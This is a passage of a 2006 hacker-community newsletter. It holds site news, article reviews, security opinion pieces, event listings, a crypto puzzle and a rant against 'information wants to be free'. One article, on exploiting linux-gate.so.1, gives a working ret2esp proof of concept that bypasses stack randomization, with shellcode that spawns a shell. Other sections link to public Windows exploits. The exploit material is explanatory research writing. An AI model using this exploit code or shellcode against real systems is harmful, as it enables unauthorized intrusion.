001 10000 _ _ __ __ _ _ 0011001 _ __ __| | __ _ __ | '_ \ / _ \\ \ /\ / /100 110 | __|/ _ | / _ \| ' _| | | | || __/ \ v v /010 001 | | | |_| || __/| | |_| |_| \___| \_/\_/10111 00110|_| \__'_| \___||_| 00000110110box.sk -= newOrder.box.sk newsletter =- supporting and strengthening the community = ----------------------------------------------------------------------- = | issue: 00001101 March 27, 2006 | = ----------------------------------------------------------------------- = The newOrder newsletter is published by the newOrder staff with the help of many contributors. To register and subscribe to this newsletter visit http://neworder.box.sk -[ 0x00 . Contents ]------------------------------------------------------- 0x01 Newsletter Intro 0x02 Site Update - Article Review - Project Update 0x03 Security Review - Exploits and the Community - Trends in Max OSX Security - Objective Vulnerability Classificaiton - Exploiting with linux-gate.so.1 0x04 News Review - Security News - Google at Waterloo - On YAPC 0x05 NewOrder Extra - Data's Cryptographic Challenge - Resolution's Rant - Free Information? Preposterous! - Some Kind of Perl Column - From the Toolbox - The Future of SAN's 0x06 Newsletter Outro -[ 0x01 . Newsletter Intro ]----------------------------------------------- Welcome to the thirteenth newOrder newsletter, our luckiest yet! Inside you will find updates on our site activities, articles by some of our top contributors and reviews on current issues. We hope you enjoy the issue. -[ 0x02 . Site Update ]---------------------------------------------------- ---[ from Mirrorshades ] 1) Site Changes - The Vault: Neworder now offers members of contributor level (level 2) and up a place to store files, with the option to either keep them private or share them with others. You can find the publicly available files here: http://neworder.box.sk/vault - New Forum: As another perk for active site participants, we have added the Runlevel 1 forum. As the name suggests, this forum is open to users of regular user level (level 1) and up. This forum is much more loosely moderated than the others, and is a place for regular site users to discuss whatever is on their minds. - Project Section: The Project section of the site has been around for a while, but Cereal has given it an impressive facelift, which includes individual forums for each project. Stop by and have a look: http://neworder.box.sk/projects -- if you have a project that you would like to add to the list, notify one of the site admins. - Forum Overview: For those of you with busy schedules, we now have a forum summary page where you can see at a glance which threads have new posts and which threads are the most active. Bookmark this page to check up on forums in a hurry: http://neworder.box.sk/board.hot.php - Navigation Tab Bar Redesign: With all the new features added over the last few months, the navigation tab bar was getting a little crowded. Once again, Cereal came to our aid and knocked it down to seven tabs -- most of which have menus that appear when you hover your mouse over them. The menus are only one-click deep (no submenus) and are very responsive, so you should have no trouble finding the page you are looking for. - MySQL Upgrade: Early into the new year we found, much to our dismay, that MySQL had chosen to stop cooperating with the site. Unfortunately, we lost about a half day's worth of content when it crashed; however, it gave us the impetus to upgrade the server to run the latest version of MySQL. Thanks to Cereal for making this happen smoothly and quickly! - SSL Login: Worried that The Man is snooping you? Now you can rest at ease, with the help of the site's SSL login option. In the login box, simply click the "SSL" button to be logged in securely, and you can safely review all your favorite content without worrying that someone else is watching you over your shoulder. - Podcast: The idea of a podcast came up in the Suggestions & Feedback forum, and there was enough good energy to move forward with planning one. At the moment, the project is at a bit of a standstill while we await a few more committed volunteers to help set it up and keep it going. If you are interested in helping out, check out the Project section of the site for "NewOrder Podcast". 2) Staff Changes - New Staff: We welcome Byte69, Bulibuta, and Whoiam55 to the team as links moderators. They have been doing a great job on keeping the site's links section up to date. - Out of Retirement: Gray-fox and M4tt have returned to active duty from retirement. We knew they couldn't stay away for long! - Retired: Staff members Krellor, Nitrate2k, X, and ElfQrin have retired from active duty. We know that working as a staff member is a big time commitment, and wish them all well with the new things they are dedicating their time to. (We also fully expect to see their names in the "Out of Retirement" section in the future!) - One last retirement to announce -- Mirrorshades (yours truly) is retiring as site admin. My wife and I are expecting our second baby sometime this month, and I cannot make the necessary time commitment to the site to continue on as admin. I have enjoyed the time you all have allowed me the privilege of having this role, and once things settle into a more "normal" routine at home, you'll likely see me lurking around the site again. Until then... so long, and thanks for all the fish. ---[ Article Review ] Hacking Begins... Articles by EyeScream on Mar 10 2006 In this article the author gives a brief overview of our cultural history and then uses it to draw a line between the good, the bad and the scripties. it's an interesting read and one we've not read here (on NewOrder) for awhile. Read full: http://http://neworder.box.sk/news/14683 The Newb and the Golden Fish How-To -> Networking by bulibuta on Feb 19 2006 In this article bulibuta shows us how to install and setup OpenBSD. He walks the reader through the process, including how to setup the firewall and forwarding, how to get ftp running and how to patch the system. Read full: http://neworder.box.sk/news/14689 Steganography in Computer Graphics Articles -> Encryption by OgGiz on Feb 15 2006 In this article the author takes a look at the art of Steganography. He introduces the user to the different theories behind the software one uses to hide communicaiton. Read full: http://neworder.box.sk/files/steganography.pdf Google's Slow Path to the Darkside Out of the box by Resolution on Jan 27 2006 In this article Resolution examines recent business decisions made by our favourite web company. He considers Google's hidden agenda, the privacy concerns surrounding their services and their recent deals with China. Read full: http://neworder.box.sk/news/14551 Cracking Office with COM Articles -> Programming by nabiy on Jan 22 2006 In this article the author demonstrates how to crack Microsoft Excel files using COM in C++. The article also has a nice addition in the comments by rattle who demonstrates a brute force implementation. Read full: http://neworder.box.sk/news/14474 Windows Event Logging Articles -> Software by nabiy on Dec 24 2005 In this article the author examines the Event Logging facility as implemented on the windows platform. The article shows how to configure the Event Log, explains how it works and introduces how one can interact with the process. Read full: http://neworder.box.sk/news/14372 Smack The Stack Articles -> Security by izik on Dec 24 2005 In this article the author introduces five methods to overcome various stack protection patches in the linux kernel. He demonstrates and focuses on the Virtual Address space randomization patch that has been integrated in the Linux 2.6 kernel. Read full: http://neworder.box.sk/news/14141 Why Today's Computer Viruses Suck Out of the box by mirrorshades on Dec 16 2005 In this article mirrorshades compares the viruses of today with yester- year. He focuses on downward trend in the mystique and mobility within this crafty technology. Read full: http://neworder.box.sk/news/14332 Solution to NewOrder Newsletter #12 Crypto Challenge New Order Newsletter by data on Dec 16 2005 In this article data showed the solution to the NewOrder Newsleter #12 Crypto Challenge. Furcalor who was the first one to solve the challenge provided the solution. Read full: http://neworder.box.sk/news/14328 Calling all boxsters: Where you at? Boxster's Lifestyle by cd on Dec 12 2005 lotus_anima started a frapper community that allows users to add their location to a global map. this extension of our community demontrates the global nature of our site. check out at: http://www.frapper.com/boxsters Original article: http://neworder.box.sk/news/14325 ---[ Project Update ] There has been alot of activity in the projects section as of late. Ekskavaator has brought slut-box back from the dead. The project has a new forum and he has even opened things up a bit so it shouldn't be too difficult to crack. The MD5 Referese Lookup project by login has also seen alot of progress. He's implemented a large dictionary database that should boost the projects effectiveness by an estimated 5%. Also, the site now has support for SSL. Our project area has also seen alot of activity with the NewOrder Podcast project. This project has seen a good response from the community and it looks like it has alot of support and momentum. Auditions have been held and some good people who have experience in the field and in other podcasting ventures have offered their support. Hopefully we'll be seeing a release in the near future! you can find more information and review all of our projects at: http://neworder.box.sk/projects -[ 0x03 . Security Review ]------------------------------------------------ ---[ Exploits and the Community . by login ] // Opening Rant I've spent over 3 years in the IS auditing industry. I've compiled exploits, installed root kits, and it's even safe to say I've 'pwned' a couple of servers/websites. But the reality of it is this, I'm still a newbie compared to the relatively large group of seasoned black hat veterans out there. A lot of people can orchestrate an attack, or tell you how to bypass security policies, but when it comes to implementation, that is what separates the newbies from the 'elite' of the black hat clans. I continually come across jackass after jackass, that says something like, "Give me your IP address, I'll hack you right now". I usually respond with, "Here it is, xxx.xxx.xxx.xxx, good luck". Not once have I had a threat larger than I could deal with, but I know deep down inside there are individuals with the required talent and knowledge that could own me left and right. I'm not afraid of those people, nor do I care if I get owned, as everyone gets owned at least a few times in their lifetime. But I realize that it's implementation that counts, not blowing smoke about the latest unpublished exploit on IRC. So I focus on implementation and keep my smoke blowing to a minimum. In my opinion the defining difference between a newbie and a veteran black hat is this: newbies ask how to do things, while veterans create ways to do things. What's your calling card? // Microsoft WMF "SetAbortProc" Remote Execute/File Download Exploit Now part of the MetaSploit framework (which I have a complete rant about as well, but now isn't the time for it), this nasty little bug should have wreaked more havoc than the blaster worm. With it's easy to exploit nature and canned exploit code; it fit perfectly into MetaSploit. I've tested both the remote execute and file download exploits with almost freakishly high success rates on both. I have complaints about the way IE prompts the user to download the file, but it's windows, the user always clicks yes/OK. URL: http://www.securityfocus.com/bid/16074/exploit // Windows Media Player v9 + v10 exploits (Assorted) Windows Media Player is integrated into the Microsoft OS, so it's an ideal target. Just like IE, it's bloated nature makes it ideal for overlooked code to be exploited. It seems that recently, it's been under a lot of fire because of the volley of 3+ exploits released in a single month. My advice, is to use a different media player, or update to the latest version. URL: http://packetstorm.dyn.org/0602-exploits/wmp-ms06-005.cpp URL: http://packetstormsecurity.org/0602-exploits/redms06-005.py.txt URL: http://packetstormsecurity.org/0602-exploits/wmp_plugin_ms06_006.pm.txt URL: http://securityreason.com/exploitalert/334 // Closing Rant Since there aren't that many recent exploits worth mentioning, beside a few Safari and Firefox holes, I've decided to keep it short. //login --[ Trends in Mac OSX Security . by zshzn ] Macs have for a number of years been a small market alternative for computer enthusiasts tired of "Wintel" desktops. Users of OS X often boast that although Windows operating systems have been plastered with uncountable viruses, security weaknesses, and malware, OS X has stayed virus free. Not anymore! Recently OS X was stuck with two viruses/trojans. This demonstrates that there is no special power protecting OS X that doesn't protect Windows. Let's cut the crap and get straight to the point. OS X isn't more secure than Windows. OS X cannot be trusted as a secure operating system. The viruses are just demonstrations that this can be done. OS X doesn't have much malware because it has a tiny fraction of the market in comparison with Windows, not because of anything secure about OS X. Recently a handful of a OS X exploits have become public (although many still remain unknown to the public, and who knows how many are entirely private). These exploits include a Mail.app buffer overflow and Safari code execution, both remote exploits, as well as a local passwd exploit. All three are applicable on a very large percentage of OS X computers. Three critical exploits are not only notable for any operating system, but especially one with a small user base, and a small percentage of that being educated users. In the same period Windows might have had 3 or 4 such powerful exploits go public, all depending how you look at it of course. Regardless of specific numbers, that amount is very embarassing to OS X and clearly demonstrates how increased investigation into OS X security reveals numerous weaknesses and a poor underlying concept of security. Next in our list of chronological events. A bored cretin placed his average Mac in a self-created contest, rm-my-mac, offering shell accounts and an open reign to attack it. Someone who we will only identify as gwerdna hacked it almost immediately, with the now famous claim of hacking it in 30 minutes. The box was not very securely configured, not to mention it provided shell access. However, it was rooted with a local vulnerability previously unknown to the public. That's not to say that this is the only such vulnerability, I've heard word of many and seen some demonstrated. Getting root access on a Mac, with any form of local access, is, as gwerdna said, "easy pickings". The person running the contest even said "mac os x is terribly broken locally." In response to the rm-my-mac competition a second competition, this time from the University of Wisconsin, was released. The author, who we'll call 'das', felt that the rm-my-mac contest was unfairly portrayed in the media, with many outlets failing to acknowledge even that local access was granted. This challenge was put up on an intelligently defended box, with a short time allotment. It was not hacked. However, this wasn't necessarily because it was very secure, but because it wasn't targeted by prominent persons, specifically those responsible for the rm-my-mac hack. There were two reasons for that. The first is here explained by gwerdna himself, (paraphrased from IRC) "Probably a bad idea to. The owners of that machine may not agree, and try to prosecute. The guy running the comp doesn't necessarily have the permission for people to try and own it." Of note, gwerdna broke no laws in his country or the host country by hacking rm-my-mac, and did not actually rm the mac. The second reason for the box surviving was that the host demanded as a contest rule that any vulnerability used to gain access would be revealed (and was actively monitoring for any). Since the computer was patched and had limited attack vectors, it would have required using and revealing an extremely critical exploit. Or as das said himself, "and if no one is going to waste an apache or OpenSSH 0day on that box, no one's going to waste a Cisco IOS 0day on a network that isn't even going to gain them access to the box". I could go on and on about how OS X security is a fraud, but I don't have to. Gwerdna and his friends have said it all better than I could, read these following selected pages. http://zdnet.com.au/news/security/soa/Ancient_flaws_leave_OS_X_vulnerable_ /0,2000061744,39234678,00.htm http://www.macrumors.com/pages/2006/02/20060216005401.shtml http://rm-my-mac.wideopenbsd.org http://www.zdnet.com.au/news/security/soa/Mac_OS_X_hacked_under_30_minutes /0,2000061744,39241748,00.htm http://www.vnunet.com/vnunet/news/2151455/false-hacking-report-prompts Apple is falling behind even Microsoft in security now. OS X is designed as a user-friendly tool with security as a minor consideration. The more OS X security is brought to our attention, the more evident it becomes that it compares more to Windows and less to Linux or other intelligent operating systems. ---[ Objective Vulnerability Classification . by nabiy ] Do you remember the recent wmf exploit? You didn't need to interact with a webpage in anyway and you faced the possibility of infection. Ilfak Guilfanov released an unofficial patch for the flaw that the security community in general supported, which drew alot of media attention. We posted about it in the windows forum and urged people to patch their systems. We even took preventative measures on the site (like disabling the ability to upload images in the user profile) untill a patch came out. The reason we were so concerned is that the infection vector was extremely dangerous. Whenever you can remotely infect a system with little or no user interaction the vulnerability is pretty big and is a critical flaw in the system. Now apparently Microsoft doesn't agree that this kind of thing is a critical flaw. According to their rating system, a critical flaw is any vulnerability whose exploitation could allow the propagation of an internet worm without user action and a vulnerability that is rated as 'important' is one whose exploitation could result in the compromise of system resources Now this is confusing because they are not applying this rating consistently. According to their definition you would think that a critical rating would be reserved for worms such as Code Red or Blaster, but it isn't. They have applied the critical rating to flaws such as the above mentioned wmf exploit (security bulletine MS06-001). So we see by their own application that this rating can apply to vulnerabilities that are not being exploited by internet worms. In the above mentioned case (MS06-001) the infection method is very similar to the infection method of MS06-006 (the recent vulnerability in the windows media player plug-in). All a user has to do is view a webpage and they are infected - with little or no interaction on their part. This kind of easy propagation is the reason we were so concerned about the wmf sploit and it is apparently the reason microsoft rated that vulnerability as critical. Why the change now? Why rate MS06-006 as important when it has a similar infection method as MS06-001? One oft-suggested reason for this discrepancy is that Microsoft and other large corporations have a vested interest in the rating of vulnerabilities that affect their systems. Microsoft isn't alone in this accusation, even Mozilla, the darling of the Open Source Movement, has been accused of downplaying vulnerabilities with the popular product Firefox. Is there truth behind these accusations and even if the accusations are not accurate isn't the interest in corporate image a real one and so the assessment is false no matter? What can we, the security community, do to protect our interest in this corporate quagmire? We could try to implement a fair and open discussion list wherein the community attempts to objectively assess the impact of these corporate vulnerabilities without respect toward corporate image. However, such a list could become it's own enemy by becoming a crap-pot for emerging security enthusiasts to publish their latest XSS attack on some unknown PHP CMS. Another danger for such a list would be the temptation to embrace too closely corporate sponsorship and corporate moderation. Once the independence is gone the list would lose its objectivity and credibility. NewOrder could provide a better solution to this mess of credibility. We are a melting pot within the security community, made up of white hats and black hats without corporate dependence. Through association within the community (forums and articles) and through our collective association with other communities (RSS feeds and the promotion of other security sites) we can help meet the need for objectivity within the security community. The ability to meet this need for an objective perspective is what makes our site unique and our community useful. However, we can only meet this need successfully when the members of our community realize the benefits of their participation and activity on the site and decide to invest their energies and time in making it successful. Think about it. ---[ Exploiting with linux-gate.so.1 . by izik ] Introduction ------------ Recruiting linux-gate.so.1 to support a buffer overflow exploit might not make a lot of sense at first. But by understanding the way linux-gate.so.1 is currently being implemented, both in it's origin and the code it may contain, will hopefully shine a new light on it. This article explains what linux-gate.so.1 is and how it can be useful for exploits out there to overcome some protections, and make life a little easier in the insane world of return addresses and targets. Synchronizing ------------- The examples below have been tested on a Linux box with kernel 2.6.14 and compiled using gcc 3.4.5 What is linux-gate.so.1? ------------------------ linux-gate.so.1 doesn't sound so evil, just another dynamically loaded library, right? Not quite. This is not a dynamically loaded library but a dynamically shared object (DSO). It's life purpose is to speed up and support system calls and signal/sigreturn for the kernel within the user application. In particular it helps out handling a situation where a system call accepts six parameters. This is when the EBP register has to be overwritten and serve as the 6th parameter to the system call. Notice that this ties the usage and need of linux-gate.so.1 to only linux kernels that are running under ia32 and ia32-64 architectures. There are two interesting facts about linux-gate.so.1, which make this DSO a little more special, which are where this DSO comes from, and how it gets loaded to do its job. Trying to look for the linux-gate.so.1 file would be to no avail. That is because it is not a real file. Although it appears within the ldd output with the rest of the real librariesm, there is no file that is called linux-gate.so.1 on the filesystem. And in fact there should never be one. Because the origin of this DSO is not a file but rather a piece of the kernel. This DSO comes straight from the kernel. From the kernel's perspective, having this DSO with code that has such a significant meaning, requires that it is loaded and mapped within every process. That lead into having a patchy way to get it into the process space. The result is that it's done mapping it, but it is doing so outside of the normal loop and as a result, the linux-gate.so.1 is getting mapped at a fixed address range within every process. Let's put this theory to a test and activate the VA patch, which amongst other things also randomize mmap(): --- snip snip --- root@magicbox:~# echo 1 > /proc/sys/kernel/randomize_va_space root@magicbox:~# ldd /bin/ls ; ldd /bin/ls linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/tls/librt.so.1 (0xb7fce000) libc.so.6 => /lib/tls/libc.so.6 (0xb7e9e000) libpthread.so.0 => /lib/tls/libpthread.so.0 (0xb7e8c000) /lib/ld-linux.so.2 (0xb7fe2000) linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/tls/librt.so.1 (0xb7ee5000) libc.so.6 => /lib/tls/libc.so.6 (0xb7db5000) libpthread.so.0 => /lib/tls/libpthread.so.0 (0xb7da3000) /lib/ld-linux.so.2 (0xb7ef9000) root@magicbox:~# --- snip snip --- The patchy integration of linux-gate.so.1 into the process seems to be patchy enough to skip over the VA patch effect. Notice how the ldd ouptut shows that libc.so.6 and the rest of the real libraries map changes due to the VA patch. But the linux-gate.so.1 mapping stays the same all this time. Woopsie? ;-) But still, these features themselves are only making linux-gate.so.1 a target for attacks. The real vulnerability, so to speak, in linux-gate.so.1 is it's code. If you twist the code a bit, you can find some surprising things in there. Going RET2ESP ------------- Return to ESP is a useful method to replace return addresses by creating return addresses from an already existing code. Code such as the application .text section, or by any other executable mapped sections. The idea is to have code that transfers the program control to the ESP register. In this situation an exploit can use it as a return address instead of an absolute return address to the shellcode. Two obvious instructions that cut it, are 'JMP %ESP' and 'CALL %ESP' which are ideal for exploits. As in most buffer overflow exploits, the shellcode is on the stack. These instructions would jump or call it and get it executed. Just as if it was a case of using an absolute stack address for a return address. Not using an absolute stack address as a return address in the exploit gives the chance to kick some stack protections, to name one - VA. As by now, randomizing the stack addresses like the VA does, will have no effect on the exploiting process. However, the major disadvantage in using this method, is the need to have a code that includes these instructions. A sane compiler won't generate these instructions so easily. But by twisting the code a little bit using offsets, it is possible to find the byte sequences of these instructions someplace else. CPU instructions are after all just given byte sequences that have a meaning for the CPU. The variety of bytes in a code, for instructions like 'MOV' and 'PUSH', just to name a few, give us the chance to find the wanted byte sequences in them. Then by doing an offset jump into the beginning of the sequence, will make the CPU react as if it was a regular attended instruction. Getting dirty ------------- Having a goal in mind to find 'JMP %ESP' or 'CALL %ESP', and an exceptional DSO to twist - It's time do dig in! --- snip snip --- /* * got_jmpesp.c, scanning for JMP %ESP * - izik@tty64.org */ #include #include #include int main(int argc, char *argv[]) { int i, jmps; char *ptr = (char *) 0xffffe000; jmps = 0; for (i = 0; i < 4095; i++) { if (ptr[i] == '\xff' && ptr[i+1] == '\xe4') { printf("* 0x%08x : jmp *%%esp\n", ptr+i); jmps++; } } if (!jmps) { printf("* No JMP %%ESP were found\n"); } return 1; } --- snip snip --- The above code is a very simple byte sequence scanner. It scans the DSO within a page range and starts from the address 0xffffe000. The goal of the search is to find the sequence 'FFE4' which is equal to 'JMP %ESP' --- snip snip --- root@magicbox:/tmp# ./got_jmpesp * 0xffffe777 : jmp *%esp root@magicbox:/tmp# --- snip snip --- Wee, without much efford an address pops out. It should be noted that this means, that there is a 50/50 chance of finding a vulnerability. Either 'JMP *%ESP' can be found, or not. The factors of finding a 'JMP %ESP' ['FFE4'] in a given linux-gate.so.1 that we have to consider, are mostly the kernel version, the compiler and the flags that have been used to compile the kernel. Which means that the same kernel versions with more or less standard flags and a standard compiler on a different machine will potentially give the same address as the result. Should we get a positive result, it will continue to work, even if the the machine would get rebooted for example. And every running process on the machine will have this value, in that address. So an exploit that will exploit a buffer overflow vulnerability can use it as a return address, both for remote and local attacks. Working methodologically ------------------------ It doesn't take much to implement a scanner functionality in an exploit. A dummy vulnerability and exploit will be used to demonstrate this. The scanner is only good for local exploits, but by gathering results from scanning different kernel versions and different linux-gate.so.1's it is possible to compile a list of return addresses which can be used within a remote exploit. --- snip snip --- /* * va-vuln-poc.c, Dummy strcpy()/buffer overflow vulnerability * - izik@tty64.org */ #include #include int main(int argc, char **argv) { char buf[256]; strcpy(buf, argv[1]); return 1; } --- snip snip --- This is a very simple 'n classical buffer overflow. Picking the absolute return address approach. By debugging it the location of the shellcode on the stack can be discovered, which then can be used as the return address. But a combination of RET2ESP and linux-gate.so.1 is much easier and more automated. --- snip snip --- /* * va-exploit-poc.c, Exploiting va-vuln-poc.c * under VA patch (Proof of Concept!) * - izik@tty64.org */ #include #include #include char shellcode[] = "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80"; // int $0x80 unsigned long find_esp(void) { int i; char *ptr = (char *) 0xffffe000; for (i = 0; i < 4095; i++) { if (ptr[i] == '\xff' && ptr[i+1] == '\xe4') { printf("* Found JMP %%ESP @ 0x%08x\n", ptr+i); return (unsigned long) ptr+i; } } return 0; } int main(int argc, char **argv) { char evilbuf[295]; char *evilargs[] = { "./va-vuln-poc", evilbuf , NULL }; unsigned long retaddr; retaddr = find_esp(); if (!retaddr) { printf("* No JMP %%ESP in this kernel!\n"); return -1; } memset(evilbuf, 0x41, sizeof(evilbuf)); memcpy(evilbuf+268, &retaddr, sizeof(long)); memcpy(evilbuf+272, shellcode, sizeof(shellcode)); execve("./va-vuln-poc", evilargs, NULL); return 1; } --- snip snip --- Doing so reveals the location of the shellcode on the stack, and it can then be used as return address. Prior to attacking, the exlpoit calls the 'find_esp()' function to scan the current linux-gate.so.1 and return an address if it found one. The address will contain the 'JMP %ESP' instruction and be used as the return address. Since this is a global test (per kernel) it can be safely assumed that if the exploit finds it, it would apply on the target program. --- snip snip --- root@magicbox:/tmp# gcc -o va-vuln-poc va-vuln-poc.c root@magicbox:/tmp# gcc -o va-exploit-poc va-exploit-poc.c root@magicbox:/tmp# ./va-exploit-poc * Found JMP %ESP @ 0xffffe777 sh-3.00# --- snip snip --- And that's all there is to it. References ---------------- What is linux-gate.so.1? http://www.trilithium.com/johan/2005/08/linux-gate/ Linus Torvalds is a disgusting pig and proud of it. http://lkml.org/lkml/2002/12/18/218 -[ 0x04 . News Review ]---------------------------------------------------- We've posted about it in the SMS section on the site and you've probably been hearing about in on the mailing lists and in the news (even the mainstream has picked up on it). I'm referring to the new DNS DDOS attacks everyone is warning about. An excellent paper on these new attacks was recently published here: http://www.isotf.org/news/DNS-Amplification-Attacks.pdf Another noteworthy paper was recently published by SysSpider from the .aware crew. In it he looks at a new approach to the old problem of self- propagation. You can find that article here: http://awarenetwork.org/home/.rants/03-11-2006.12.32/ Viral%20Propagation%20Hooking%20WinSock.pdf Some news from your favorite evil empire, Microsoft has delayed the release of Vista until 2007 and has released a new Beta (build 5335.5) of IE. This is a large release for them as it includes their highly acclaimed (or proclaimed?) integration of RSS functionality. This recent release is also not affected by the recent unpatched TextRange() vulnerability. some links: http://www.microsoft.com/windows/ie/ie7/default.mspx http://blogs.technet.com/msrc/archive/2006/03/22/422849.aspx Finally, you may want to get your regular dose of zineage and digital anarchy with the recent release of Hack This Zine and Perl Underground. PU in particular is remarkable as it actually contains some good content although some might find some of it offensive. find them here: http://hackbloc.org/?action=zine http://www.awarenetwork.org/home/outlaw/ezines/pu.txt ---[ Security News . by bulibuta ] -> OpenBSD Needs Your Help The team has made a community call for funds. They have to gather enough money to get the Hackathons going. If you don't know what a Hackathon is then guess or google. If the community will fail to donate enough there only hope would be a big sponsor for each event. Funds started dropping since bandwidth stopped being a problem and network installs over ftp became the most popular way of installing the OS. CD sets and T-shirts are available at their site, and they also started taking pre-orders for OpenBSD 3.9. Remember this is not about the OS only. The OpenBSD community maintains other applications that are used, or at least have been used at least one time, by almost all computer users out there: OpenSSH, OpenNTPD, OpenBGPD. The official announcement is here: http://marc.theaimsgroup.com/?l=openbsd-misc&m=114291440005609&w=2 The T-shirts and official CD's are very cool, so please stop by and order some here: http://www.openbsd.org/orders.html -> Antiviril companies: Virus names conflicts The chaos in the antivirus companies mediums due to marketing have reached another critical yet funny point. At the beginning of February this year yet another fat-ugly virus was detected that was programmed to delete files on the 3rd of each month. All nice and tidy until now. The guys started working on a cure and released a solution fast enough. But then the definition updates had to be made available online for all the poor threathen customers out there. Well, imagine our average Joe looking at a list of the top 10 bad-ass viril of that month and seeing stuff like: Blackmal, Nyxem, MyWife, KamaSutra, Blackworm, Tearec and Worm_Grew. Wow, he's got to get those updates fast, they all sound terrible (especially MyWife). The strange thing is that he will be able to find the solution for each virus on distinct companies that produce antivirus software. What can he do? He must protect himself from all of these cyber-monsters. Well try explaining him that they are all one and the same, and that this is another stupid marketing move... http://www.securityfocus.com/news/11380 -> The first Skype Trojan Virus writers started targeting the popular VoIP messenger Skype. This virus is a small Trojan that poses as the latest Skype version. The Trojan's main spreading way seems to be via e-mail. MessageLabs concluded, after an analysis of the nicknames and references contained in the code, that a Chinese black hat hacker must be the original author of the malware. http://www.securityfocus.com/news/11348 ---[ Google at Waterloo . by zshzn ] On Tuesday, March 14th, 2006, Google executives stormed Federation Hall at the University of Waterloo for a massive presentation. Alongside 500 of the best educated geeks in Canada, I waited in line through wind and snow to get in. When the two of us got to the doors, my friend asked how many had been in before (the doorman had a device to count), and we learned that about 530 had preceded us. While in-taking a lot of free pizza and other supplementaries, we settled without a place to sit, and listened to first to Roger Skubowius, and then to Craig Nevill-Manning, the head of Google's New York office, as he took the stage and began a long tirade. Beyond the history and message, the new information was that Google, ever expanding, had purchased a Waterloo-based company called Requireless, and were coming to Canada in a big way. They were hiring, and making no attempts to hide it. At the back of the massive hall room was a resume box, wooden and with painted block letters spelling "Google" glued on the lid. 15 Google employees, clearly marked, were sent among the crowd. Their job was just to talk to people, and possibly pick out prospective employees. Google announced that they would be participating in Waterloo's esteemed Co-operative Education program. For those out of the loop, the University of Waterloo is Canada's most respected university when it comes to software engineering and computer science, among other prestigious programs. Waterloo grads are highly sought after, and numerous companies have settled down or been created in Waterloo, most notably RIM, makers of the Blackberry. Google is expanding. They're getting into Canada in a big way, in the most competitive technological city in the country. They have money to spend and people to buy. They don't see their market as dominated, they see it as a fraction of what it will be at any time in the future, and they want to take that future as soon as possible. ---[ On YAPC . by zshzn ] YAPC stands for Yet Another Perl Conference and is held annually. Four of them now, actually, in four different continents. YAPC::NA this year is being held in Chicago, Il, between June 26-28. YAPC really is an excellent conference, in the sense that it brings forth top Perl experts and is mature and intelligent. Although the schedule has yet to be released and I couldn't dig up much information, we do know that Randal Schwartz, Damian Conway, and brian d foy are hosting presentations. For those that don't know, all three are famous Perl coders, alternately known as merlyn, TheDamian, and brian d foy, respectively. They've all contributed incredibly to Perl in general and are three of the most prominent Perl programmers. Of course, you can expect many other excellent programmers, and excellent talks and workshops. If you're a seasoned Perl veteran, or someone just looking to expand their horizons in programming, YAPC::NA 2006 is the place to be. - | some other events you may want to note: | | notacon - http://www.notacon.org/ | April 7th - 9th, 2006 | Cleveland, Ohio | | LayerOne - http://layerone.info/ | April 15-16, 2006 | Pasadena, CA | | DallasCon - http://www.dallascon.com/ | May 5-6, 2006 | Dallas, TX | | REcon - http://www.recon.cx/ | 16-18 June 2006 | Montreal, Canada | | HOPE http://hopenumbersix.net | July 21 - 23, 2006. | New York City, NY | | Do you have a news or an announcement for the community? Send your | submission to newOrder.newsletter AT gmail.com or contact us via memo. - -[ 0x05 . NewOrder Extra ]------------------------------------------------- ---[ Data's Cryptographic Challenge ] You are an expert cryptanalyst at the missile launch control center belonging to the axis of good. The axis of evil is to unleash their secret weapon in a few hours. The axis of evil launches a preemptive strike on your launch control centre and you are the sole survivour. It is upto you crack the launch codes and save the world. The launch code preparation data sheet provides the following useful information: Primitive polynomial P(X) over GF(3) (1)*X^99+(1)*X^98+(2)*X^96+(2)*X^92+(1)*X^91+(2)*X^90+(2)*X^89+(1)*X^87+ (1)*X^86+(1)*X^85+(2)*X^84+(2)*X^83+(2)*X^81+(2)*X^80+(2)*X^79+(2)*X^78+(1)*X^75+ (2)*X^74+(2)*X^73+(2)*X^72+(2)*X^71+(2)*X^70+(1)*X^69+(2)*X^68+(2)*X^67+(2)*X^66+ (2)*X^65+(1)*X^62+(1)*X^60+(2)*X^59+(2)*X^56+(2)*X^55+(2)*X^54+(1)*X^52+(2)*X^51+ (1)*X^50+(1)*X^48+(1)*X^47+(1)*X^45+(1)*X^43+(2)*X^42+(2)*X^41+(1)*X^40+(1)*X^39+ (1)*X^38+(1)*X^36+(2)*X^28+(2)*X^26+(2)*X^23+(2)*X^22+(1)*X^21+(2)*X^20+(1)*X^19+ (1)*X^18+(1)*X^15+(2)*X^14+(2)*X^13+(1)*X^12+(2)*X^10+(1)*X^9+(2)*X^7+(1)*X^6+ (2)*X^4+(1)*X^2+(2)*X+(1). and X ^ launch_code = 2 mod P(x). ( ^ should be read as 'to the power of' ) which is a case of solving discrete logarithms involving polynomials over GF(3). [Hint:There is a much better solution than bruteforce.] Please send in your solution to NewOrder.Newsletter AT gmail.com ---[ Resolution's Rant - Free Information? Preposterous! ] I must say that I really do enjoy many aspects of the "hacker" culture, but there are some beliefs that I find utterly ridiculous. One such belief is that *all* information should be free. I am so sick of hearing this statement, and I've heard it a lot over the years. Thankfully, not everyone believes in this nonsense. Just recently, someone on the NewOrder forums wanted to gain access to a work computer at the risk of losing their job. When I responded that none of this was worth getting fired over, this person decided it was best to hit me with the ol' "what happened to information being free" statement. Ultimately, I decided not to publicly beat this person in the face with my "club of truth". Rather, I decided I would do a rant on it. Let's get one thing straight: There is no such thing as "free information", at least not in the extreme sense that your information is somehow my information too. Sadly, this whole ideal that all information should be free is nothing more than an excuse that is used nowadays by people to justify criminal behavior. Many naïve and wannabe hackers are armed with this excuse when attempting to break into a computer system. They feel that what they are doing is perfectly legal because their newfound sense of "hackerdom" has awarded them rights that the general public does not have. In actuality, these are people who have a hard time distinguishing fantasy from reality, and they have sorely misinterpreted the true meaning behind this phrase. Allow me to take you back in time to 1984, back to the first Hacker's Conference (be aware that during this time period, the term "hacker" referred to skilled programmers and not someone who breaks into computer systems for fun or profit). A man by the name of Stewart 